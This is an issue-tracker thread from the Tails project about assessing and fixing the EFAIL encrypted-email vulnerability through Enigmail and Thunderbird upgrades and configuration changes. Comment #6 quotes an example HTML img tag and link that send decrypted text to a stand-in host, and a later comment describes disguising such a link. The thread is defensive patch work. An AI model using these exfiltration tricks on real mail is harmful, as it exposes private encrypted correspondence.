Project

General

Profile

Bug #15602

Fix EFAIL

Added by segfault 4 months ago. Updated 21 days ago.

Status:
Resolved
Priority:
Elevated
Assignee:
-
Category:
-
Target version:
Start date:
05/14/2018
Due date:
% Done:

100%

QA Check:
Pass
Feature Branch:
feature/15091-thunderbird-60
Type of work:
Code
Blueprint:
Starter:
Affected tool:
Email Client

Description

This is about http://efail.de, a vulnerability in multiple email clients, including Thunderbird + Enigmail, which allows exfiltrating plaintext of GPG encrypted emails.

What we know so far:
  • The enigmail version we ship (1.9.9) seems to be affected, and there don't seem to be any security patches to the Debian package after the 1.9.9 release.
  • According to this, Thunderbird doesn't have patches released yet
  • We could be saved by Torbirdy, because, according to the EFAIL website, "the most prominent way of attacking EFAIL" uses HTML, and Torbirdy completely disables HTML.

Team: sajolida

remote content.png View (10.2 KB) sajolida, 05/15/2018 10:01 AM


Related issues

Related to Tails - Feature #15657: Check which version of Enigmail we should ship Confirmed 06/15/2018
Related to Tails - Feature #15486: Ask users to send smaller images to frontdesk Rejected 04/02/2018
Related to Tails - Feature #15661: Check that Torbirdy does not enable Memory Hole In Progress 06/17/2018
Related to Tails - Bug #15692: Tell users they have to go through Enigmail Wizard at every session Resolved 06/29/2018
Related to Tails - Feature #15658: Enable Enigmail by default if a GnuPG secret key is detected Confirmed 06/15/2018
Blocked by Tails - Bug #15607: Upgrade to Thunderbird 52.8.0 Resolved 05/19/2018
Blocks Tails - Feature #15334: Core work 2018Q3: Foundations Team Confirmed 02/20/2018
Blocked by Tails - Feature #15091: Upgrade to Thunderbird 60 Resolved 05/09/2018

Associated revisions

Revision 9c1c66e9
Added by intrigeri 4 months ago

Merge remote-tracking branch 'origin/bugfix/15607-thunderbird-52.8.0' into stable (Fix-committed: #15607, #15395)

This also includes the first part of Thunderbird EFAIL fixes (refs: #15602)

Revision f1009f78 (diff)
Added by intrigeri 3 months ago

Enable the bugfix-15602-efail APT overlay (refs: #15602).

Revision 163cc213
Added by intrigeri 3 months ago

Merge branch 'bugfix/15602-efail' into stable (refs: #15602, fix-committed: #15610)

Revision c3ab23dc (diff)
Added by intrigeri about 2 months ago

Thunderbird: enable the optional part of the fixes for EFAIL (refs: #15602).

This requires Thunderbird 52.9.0 or 60.0beta; the topic branch this commit
is part of will bring use the latter.

Revision 9a201ec3 (diff)
Added by intrigeri about 1 month ago

Thunderbird: enable the optional part of the fixes for EFAIL (refs: #15602).

This requires Thunderbird 52.9.0 or 60.0beta; the topic branch this commit
is part of will bring use the latter.

History

#1 Updated by segfault 4 months ago

According to the appendix of the paper, there are two backchannels for Thunderbird on Linux: 1. using the HTML link tag, and 2. using OCSP requests to a fixed CA URL for S/MIME signed emails.
1. should be mitigated by Torbirdy, and 2. doesn't affect GPG but only S/MIME. So I think we might be good.

#2 Updated by geb 4 months ago

segfault wrote:

According to the appendix of the paper, there are two backchannels for Thunderbird on Linux: 1. using the HTML link tag
1. should be mitigated by Torbirdy

I did a quick test and can confirm Thunderbird HTML rendering is actually disabled in Tails thanks to Torbirdy. Would be nice if somebody can confirm it.

Usul, it would be really valuable to have your opinion about this bug and possible Torbirdy mitigation if possible :-).

#3 Updated by geb 4 months ago

geb:

Usul, it would be really valuable to have your opinion about this bug and possible Torbirdy mitigation if possible :-).

Received a reply via another channel :

<Usul> To create these exfiltration channels, the attacker first needs access to the encrypted emails, for example, by eavesdropping on network traffic, compromising email accounts, email servers, backup systems or client computers.
<Usul> The attacker changes an encrypted email in a particular way and sends this changed encrypted email to the victim. The victim's email client decrypts the email and loads any external content, thus exfiltrating the plaintext to the attacker.
<Usul> if html is disabled, Torbirdy should be safe

#4 Updated by segfault 4 months ago

  • Status changed from Confirmed to Resolved

It's also confirmed by Tor that Torbirdy users aren't affected by EFAIL: https://twitter.com/torproject/status/996045603804188673

#5 Updated by sajolida 4 months ago

HTML rendering is disabled by default by Torbirdy but HTML rendering can be turned on until Thunderbird is restarted.

I do that quite often: Menu → View → Message Body As → Original HTML.

And it seems to contradict this section of the Torbirdy FAQ:

[...] emails you send will be in plain text and HTML emails you receive will be sanitized and converted to plain text. You cannot change this behavior. [...]
  • Emails are not permenently sanitized and converted to plain text. They are rather only displayed in plain text by default.
  • It's possible to change this behavior until you restart Thunderbird.

When I enable HTML rendering I often get another notification from Thunderbird but I'm not sure how it relates to E-Fail:

To protect your privacy, Thunderbird has blocked remote content in this message.

So I wonder if Tails users who enable HTML rendering like me could still be affected or if that would also require enabling remote content.

Once we have a strong enough analysis of the problem, Cody and I could write a blog post about it.

But at least it's seems like the default configuration is not affected.

#6 Updated by geb 4 months ago

sajolida wrote:

When I enable HTML rendering I often get another notification from Thunderbird but I'm not sure how it relates to E-Fail:

To protect your privacy, Thunderbird has blocked remote content in this message.

So I wonder if Tails users who enable HTML rendering like me could still be affected or if that would also require enabling remote content.

According to a quick re-read of the EFail paper section 3.1, blocking external content should prevent automatic leak of information to third parties, like in <img src="http://example.org/encryptedtext"> example of this section (if the blocking is strict enough).

However, if you enable remote content, or if the attacker create a <a href="http://example.org/encryptedtext"> link and make the user click on it, it would lead to information leak.

That said, it would require the user to bypass the default TorBirdy & Thunderbird behaviour (and good practice in case of a forged link) at least two times. Moreover, the attacker would still need to have been able to modify the mail and thus to had access to the mail storage or of one the servers involved in the exchange. While its still theoretically possible, it creates, for me, really strong assumptions regarding the power of a such attacker.

#7 Updated by bmeson 4 months ago

The version of Enigmail that ships with TAILS is vulnerable to EFAIL in a limited scenario.

There are a few concerns: the fixes to efail did go into Enigmail 2.0 but TAILS ships 1.9.9. Recommend targeting the package that ships with Debian Stretch (as far as I know) is 2.0.3. However, by default Thunderbird in TAILS disabled both remote content and displays emails as plaintext. The defaults are fine, unless a user changes the defaults to enable remote content and uses HTML email and uses a persistence volume. In that case, yes they are at a much higher risk for the (known) exfiltration paths.

There are at least two known MDC (error checking) bugs in GPG. The first is how many mail client implementations (otherwise known as MUAs) throw a WARNING and continue to decrypt. This is incorrect behavior as fixed in Enigmail 2.0 and described in efail. There is an additional vulnerability that was discovered with MDC checking that was reported in GPG opened today https://dev.gnupg.org/T3981 which will (likely) fixed in GPG 2.2. The version currently shipped Tails is 2.1.18 (the same as Debian). Note that to fully exfiltrate data, you have to combine both improperly implemented MDC checks and an exfil path as described in the second paragraph.

Most TAILS users are likely protected.

Best,
b_meson

#8 Updated by sajolida 4 months ago

Regarding EFAIL and disabling HTML (default in Tails), the EFF FAQ reads:

Is disabling HTML sufficient?
=============================

Turning off sending HTML email will not prevent this attack. For some published 
attacks, turning off viewing HTML email may protect your messages being leaked
to an attacker by you. However, since PGP email is encrypted to both the sender
and each recipient, it will not protect these messages from being leaked by
anyone else you’ve communicated with. Additionally, turning off HTML email may
not protect these messages against future attacks that are discovered which
build off of the current vulnerabilities.

Turning off reading HTML email while still sending PGP-encrypted messages 
encourages others to read these with their own potentially vulnerable clients.
This promotes an ecosystem that puts the contents of these messages (as well as
any past messages that are decrypted by them) at risk.

On the other hand, the only alternative provided for now being to stop using OpenPGP all the way, this is not something that we can implement in Tails but rather something that users should implement themselves through a change of practices.

I'm still not really understanding EFAIL so I'm merely dropping here information that I find relevant for the specific context of EFAIL in Tails (and discussions that I'm seeing within our team over Redmine, XMPP, and email).

#9 Updated by anonym 4 months ago

  • Assignee set to sajolida
  • QA Check set to Info Needed

I'm just chiming in here to say that my understanding of EFAIL matches what segfault, geb, Usul and bmeson says (and less with what the researchers and the EFF recommend, which frankly is borderline fear-mongering). AFAICT, there are four ways a Tails + Thunderbird + Enigmail user can be involved in a plaintext leak:

  1. They have diverged from Tails' defaults by enabling HTML rendering of email and loading of remote content: the attacker injects an img-tag and can exfil the plaintext without user intervention.
  2. They have diverged from Tails' defaults by enabling HTML rendering of email (but not loading of remote content): the attacker can exfil the plaintext with a href-tag (link) if the user clicks it. By setting the HTML link attributes so it looks like normal (black) text these chances are increased.
  3. They have not diverged from Tails' defaults: like 2, but since HTML rending is disabled the attacker cannot change the HTML link attributes so the text will look like a normal (blue) link, which the user probably is suspicious of clicking.
  4. They have not diverged from Tails' defaults: they send an encrypted email to someone with a vulnerable client.

sajolida, do you need anything else for the blog post?

#10 Updated by intrigeri 4 months ago

dkg's writeup on this topic sets a number of things straight IMO, compared to what other organizations have been writing.

#11 Updated by sajolida 4 months ago

  • Assignee changed from sajolida to goupille

Thanks anonym for the nice summary: I understand things better now!

Thanks intrigeri for the link: it aligns better with my views of the issue.

I feel like I could start writing something with all this at hands. But I'm wondering if it's a good investment of my technical writing bugdet and I'd like a more collective agreement on this:

  • I think I would need 2-4 hours of work to get something good written. I haven't done such things in a while so I don't have better estimates, sorry!
  • I'll refrain from investigating the technicalities more myself so I'll need someone more technical to review my post before publishing it. Maybe 1-2 hours of review work here again. Who's in for that?

So first, I'd like to ask our help desk if this issue is very loud amongst our users.

#12 Updated by sajolida 4 months ago

  • Description updated (diff)

#13 Updated by sajolida 4 months ago

Ah, and does anybody have info on when there could be upstream patches to fix some of this? In Enigmail? In Thunderbird? What will they do and when will they land in Tails?

#14 Updated by goupille 4 months ago

  • Assignee changed from goupille to emmapeel

I'm reassigning this ticket to emmapeel since she's on duty this week

#15 Updated by u 4 months ago

sajolida wrote:

Ah, and does anybody have info on when there could be upstream patches to fix some of this? In Enigmail? In Thunderbird? What will they do and when will they land in Tails?

Enigmail has a new version, but only uploaded to experimental for now. https://tracker.debian.org/pkg/enigmail I don't know why dkg has not uploaded that to unstable, the changelog does not clearly say: https://salsa.debian.org/debian/enigmail/blob/debian/experimental/debian/changelog We can actively install this version in Tails if we want to.

As for Thunderbird, afaiu, the issue is fixed in TB60 (to be verified), which is also in experimental: https://tracker.debian.org/pkg/thunderbird

#16 Updated by intrigeri 4 months ago

Enigmail has a new version, but only uploaded to experimental for now. https://tracker.debian.org/pkg/enigmail

To track the next steps on the Debian side, see https://bugs.debian.org/898630.

My plan is to update to the version from experimental in Tails 3.8.

I don't know why dkg has not uploaded that to unstable

Enigmail 2.x is extremely hard to build from source (it bundles "minified" deps) and it's unclear how dkg will address this. I've recommended him to upload to non-free, at least as an intermediary step.

As for Thunderbird, afaiu, the issue is fixed in TB60 (to be verified), which is also in experimental: https://tracker.debian.org/pkg/thunderbird

It's fixed in sid as well (https://bugs.debian.org/898631) and should be fixed in Stretch soonish ⇒ will be solved on our side via #15607.

sajolida: I'd like a ticket to track fixing EFAIL in Tails 3.8, can I reuse/hijack this one?

#17 Updated by sajolida 4 months ago

Sure...

If we decide to write a blog post I'll do it elsewhere.

#18 Updated by intrigeri 4 months ago

  • Subject changed from Check whether Tails is affected by EFAIL to Fix EFAIL
  • Assignee changed from emmapeel to intrigeri
  • Target version set to Tails_3.8
  • QA Check deleted (Info Needed)
  • Type of work changed from Research to Code
  • Affected tool set to Email Client

sajolida wrote:

Sure...

If we decide to write a blog post I'll do it elsewhere.

Great. So I'm taking this ticket over, please file another one if you still need input from help desk :)

#19 Updated by intrigeri 4 months ago

#20 Updated by intrigeri 4 months ago

intrigeri wrote:

As for Thunderbird, afaiu, the issue is fixed in TB60 (to be verified), which is also in experimental: https://tracker.debian.org/pkg/thunderbird

It's fixed in sid as well (https://bugs.debian.org/898631) and should be fixed in Stretch soonish ⇒ will be solved on our side via #15607.

Actually, Thunderbird 52.8.0 only fixes some aspects of EFAIL. The full fix is supposed to land in 52.8.1. I did not check yet if both Thunderbird 52.8.1 and the updated Enigmail are needed or if upgrading only one of those is enough.

#21 Updated by intrigeri 4 months ago

  • Priority changed from Normal to Elevated

#22 Updated by intrigeri 4 months ago

  • Blocked by Bug #15607: Upgrade to Thunderbird 52.8.0 added

#23 Updated by intrigeri 4 months ago

Actually, Thunderbird 52.8.0 only fixes some aspects of EFAIL. The full fix is supposed to land in 52.8.1.

Asked about that on https://bugs.debian.org/898631

I did not check yet if both Thunderbird 52.8.1 and the updated Enigmail are needed or if upgrading only one of those is enough.

According to https://sourceforge.net/p/enigmail/forum/announce/thread/527a26fc/ one needs to upgrade both.

#24 Updated by intrigeri 4 months ago

  • Blocks Bug #15470: Enigmail hides part of WhisperBack reports whose body includes an OpenPGP public key added

#25 Updated by intrigeri 3 months ago

  • Feature Branch set to bugfix/15602-efail

#26 Updated by intrigeri 3 months ago

  • Related to Feature #15657: Check which version of Enigmail we should ship added

#27 Updated by intrigeri 3 months ago

  • % Done changed from 0 to 10
  • Enigmail: now that https://bugs.debian.org/898630 is fixed in sid, I've made a freeze exception for it and imported 2.0.7-2 into the overlay APT suite for this branch
  • Thunderbird: 52.8.1 was not released upstream yet => waiting

#28 Updated by intrigeri 3 months ago

  • Related to Feature #15486: Ask users to send smaller images to frontdesk added

#29 Updated by intrigeri 3 months ago

At least it passes our full test suite. Next step: test manually all kinds of Enigmail operations. And while I'll do this I'll look carefully at the AppArmor denial logs and will send MRs upstream as needed.

#30 Updated by intrigeri 3 months ago

  • Assignee changed from intrigeri to segfault
  • % Done changed from 10 to 20
  • QA Check set to Ready for QA

segfault, can you please review & test this branch by the end of next week (June 24)? This only partially fixes EFAIL because we still need Thunderbird 52.8.1 but it's a start. This branch also fixes #15610.

#31 Updated by intrigeri 3 months ago

intrigeri wrote:

segfault, can you please review & test this branch by the end of next week (June 24)?

I think that 15-30 min of focussed work should be enough. If for some reason you need more, let me know.

#32 Updated by segfault 3 months ago

Regarding 144336e00521258d96b7dbced4e07439877eab0e: I think we can drop the protectHeaders preferences, they seem to be unused in Enigmail 2.0.

Regarding 80ca5660120ef50d656df07f832861d682501df7 I wrote on #15610#note-6.

The rest looks good to me.

#33 Updated by segfault 3 months ago

  • Assignee changed from segfault to intrigeri
  • QA Check changed from Ready for QA to Info Needed

#34 Updated by intrigeri 3 months ago

  • QA Check changed from Info Needed to Dev Needed

Regarding 144336e00521258d96b7dbced4e07439877eab0e: I think we can drop the protectHeaders preferences, they seem to be unused in Enigmail 2.0.

I did not do that because Torbirdy still sets these prefs and I was too lazy to check if they would be honored somehow. But yeah, good idea: I'll try this and we'll see :)

#35 Updated by segfault 3 months ago

FTR, my assumption that the old preference is not used anymore is based on the diff of this commit: https://gitlab.com/enigmail/enigmail/commit/d2a0c88d21a5e4f7ca76e7a1e9e50345e973da70

#36 Updated by intrigeri 3 months ago

FTR, my assumption that the old preference is not used anymore is based on the diff of this commit:
https://gitlab.com/enigmail/enigmail/commit/d2a0c88d21a5e4f7ca76e7a1e9e50345e973da70

I'll git grep the hell of it!

#37 Updated by intrigeri 3 months ago

  • Related to Feature #15661: Check that Torbirdy does not enable Memory Hole added

#38 Updated by intrigeri 3 months ago

I've tested at 8ef9cb8d34569d59a4c42a927fbfc20d6573293b:

  • initial setup: a newly created account on an ISO built from the topic branch
  • upgraded setup: a persistent account created on 3.7.1 then upgraded to the topic branch

… and in both cases, the new prefs were enough to disable encrypted headers by default, which matches my understanding of the code. So yeah, we can drop the old prefs :)

Note that I did not test the non-default case where a user has manually opted-in for protected headers on 3.7.1 or older (that's in the hidden-by-default Enigmail expert prefs, at least in 1.9.x). I think that in this case, the custom pref will be lost along the way. Now, given Enigmail upstream has not bothered providing an automated migration path and that's non-default, expert settings anyway, I don't think it's worth spending more time on it: I think it's fair to say that one gets to keep the pieces when they use settings that are disabled by default and clearly labeled as "expert".

But in the "upgraded setup" case the Enigmail setup wizard is started automatically, regardless of whether one already has a key pair; that's super confusing so I'll fix it.

#39 Updated by intrigeri 3 months ago

  • Assignee changed from intrigeri to segfault
  • QA Check changed from Dev Needed to Ready for QA

intrigeri wrote:

But in the "upgraded setup" case the Enigmail setup wizard is started automatically, regardless of whether one already has a key pair; that's super confusing so I'll fix it.

Actually it's not that bad: the default settings are to reuse the previous key pair. I'm worried that forcing Enigmail to skip this config update process may result in weird, hard to debug behaviour down the line. So I'd rather force users to go through that process once, to ensure they have an updated Enigmail config that works well with 2.x.

#40 Updated by intrigeri 3 months ago

This needs to be merged by the end of the week so it goes into 3.8.

I've addressed the issue you've raised here and replied to your concerns on #15610 (where your concerns are not about a regression I would be introducing, but instead about a potential improvement that will require to trivially revert some of my changes whenever someone works on it). So if I don't hear from you in time for the 3.8 ISO build, I'll merge this branch anyway.

#41 Updated by intrigeri 3 months ago

  • Assignee changed from segfault to intrigeri
  • Target version changed from Tails_3.8 to Tails_3.9
  • QA Check deleted (Ready for QA)
  • Feature Branch deleted (bugfix/15602-efail)

Merged bugfix/15602-efail into stable. Next step: wait for Thunderbird 52.8.1 and upgrade to it.

#42 Updated by segfault 3 months ago

intrigeri wrote:

This needs to be merged by the end of the week so it goes into 3.8.

Oh, by the end of the week you meant the end of last week. I'm sorry, I didn't have the schedule for 3.8 in mind and thought I could do this early this week, after I finished my work for the VeraCrypt beta. Else I would have prioritized this higher.

#43 Updated by segfault 3 months ago

I just reviewed the 3 commits which you pushed to the branch after my initial review and they look good to me.

intrigeri wrote:

intrigeri wrote:

But in the "upgraded setup" case the Enigmail setup wizard is started automatically, regardless of whether one already has a key pair; that's super confusing so I'll fix it.

Actually it's not that bad: the default settings are to reuse the previous key pair. I'm worried that forcing Enigmail to skip this config update process may result in weird, hard to debug behaviour down the line. So I'd rather force users to go through that process once, to ensure they have an updated Enigmail config that works well with 2.x.

I would be willing to spend a few minutes investigating whether there are any incompatible settings between 1.x and 2.x which would justify to annoy our users with this setup dialog. But I guess now it's too late for that :/

#44 Updated by sajolida 3 months ago

So if I got it right, in 3.8 the EFAIL attacks on OpenPGP are fixed. The attacks on S/MIME will be fixed in Thunderbird 52.8.

See:

#45 Updated by intrigeri 3 months ago

So if I got it right, in 3.8 the EFAIL attacks on OpenPGP are fixed.

I think that's the case but the word "mostly", in "PGP handling seems mostly restricted to enigmail" (on the Debian bug report you've linked to), combined with the update I'm pointing you to below, makes me slightly doubt. I'll reply on #14682 wrt. the consequences on our public communication.

The attacks on S/MIME will be fixed in Thunderbird 52.8.

That info is outdated. Not all fixes went into 52.8 (that we're shipping since Tails 3.7.1) and some others will be fixed in 52.8.1. I don't know for sure if the missing bits are purely about S/MIME or if OpenPGP is impacted as well.

#46 Updated by intrigeri 3 months ago

  • Type of work changed from Code to Wait

#47 Updated by intrigeri 3 months ago

#48 Updated by intrigeri 3 months ago

#49 Updated by intrigeri 3 months ago

Current theory is that Thunderbird 52.9 will be released next week.

#50 Updated by mercedes508 3 months ago

  • Related to Bug #15692: Tell users they have to go through Enigmail Wizard at every session added

#51 Updated by intrigeri 3 months ago

intrigeri wrote:

Current theory is that Thunderbird 52.9 will be released next week.

… but the last set of EFAIL fixes will be disabled by default in there (their author is not 100% comfortable with them) so we'll need to enable them via a pref.

#52 Updated by intrigeri 3 months ago

intrigeri wrote:

intrigeri wrote:

Current theory is that Thunderbird 52.9 will be released next week.

… but the last set of EFAIL fixes will be disabled by default in there (their author is not 100% comfortable with them) so we'll need to enable them via a pref.

https://www.thunderbird.net/en-US/thunderbird/52.9.1/releasenotes/ says "Preference mailnews.p7m_subparts_external needs to be set to true for added security."

#53 Updated by intrigeri 3 months ago

Depending on #15091 and in particular #15091#note-40, we might need to update our ESR52 packages or skip directly to ESR60.

#54 Updated by intrigeri 3 months ago

#55 Updated by sajolida 2 months ago

  • Related to Feature #15658: Enable Enigmail by default if a GnuPG secret key is detected added

#56 Updated by intrigeri about 2 months ago

My understanding is that there will be no further 52.x ESR release so we'll fix this via #15091.

#57 Updated by intrigeri about 2 months ago

#58 Updated by intrigeri about 2 months ago

#59 Updated by intrigeri about 2 months ago

  • Feature Branch set to feature/15091-thunderbird-60
  • Type of work changed from Wait to Code

#60 Updated by intrigeri about 2 months ago

intrigeri wrote:

… but the last set of EFAIL fixes will be disabled by default in there (their author is not 100% comfortable with them) so we'll need to enable them via a pref.

https://www.thunderbird.net/en-US/thunderbird/52.9.1/releasenotes/ says "Preference mailnews.p7m_subparts_external needs to be set to true for added security."

Done on the topic branch (c3ab23dc52d1067f40e565aafaf8be39367c509d). Once I have an ISO with Thunderbird 60 I'll verify that this pref is applied.

#61 Updated by intrigeri about 2 months ago

  • Blocks deleted (Bug #15470: Enigmail hides part of WhisperBack reports whose body includes an OpenPGP public key)

#62 Updated by intrigeri about 2 months ago

  • % Done changed from 20 to 100
  • QA Check set to Pass

The pref is correctly applied :)

#63 Updated by intrigeri about 1 month ago

  • Status changed from In Progress to Fix committed
  • Assignee deleted (intrigeri)

… at the same time as #15091.

#64 Updated by intrigeri about 1 month ago

  • Status changed from Fix committed to In Progress

#65 Updated by intrigeri about 1 month ago

  • Status changed from In Progress to Fix committed

#66 Updated by intrigeri 21 days ago

  • Status changed from Fix committed to Resolved

Also available in: Atom PDF